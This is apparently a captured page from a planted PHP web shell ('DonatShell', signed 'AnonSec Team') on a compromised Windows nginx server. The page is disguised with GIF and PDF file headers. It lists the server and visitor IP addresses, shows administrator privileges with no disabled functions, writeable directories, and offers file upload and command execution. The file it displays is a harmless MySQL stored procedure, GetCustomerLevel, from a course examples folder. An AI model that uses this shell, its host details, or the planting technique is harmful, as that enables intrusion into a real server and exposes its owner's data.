GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1600/_Archive/Examples/GetCustomerLevel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1600/_Archive/Examples/GetCustomerLevel/GetCustomerLevel_PROCEDURE.sql
DELIMITER $$
 
CREATE PROCEDURE GetCustomerLevel(
    in  p_customerNumber int(11), 
    out p_customerLevel  varchar(10))
BEGIN
	DECLARE creditlim double;

	SELECT creditlimit INTO creditlim
	FROM customers
	WHERE customerNumber = p_customerNumber;

	IF creditlim > 50000 THEN
		SET p_customerLevel = 'PLATINUM';
	ELSEIF (creditlim <= 50000 AND creditlim >= 10000) THEN
		SET p_customerLevel = 'GOLD';
	ELSEIF creditlim < 10000 THEN
		SET p_customerLevel = 'SILVER';
	END IF;
 
END$$

Anon7 - 2022
AnonSec Team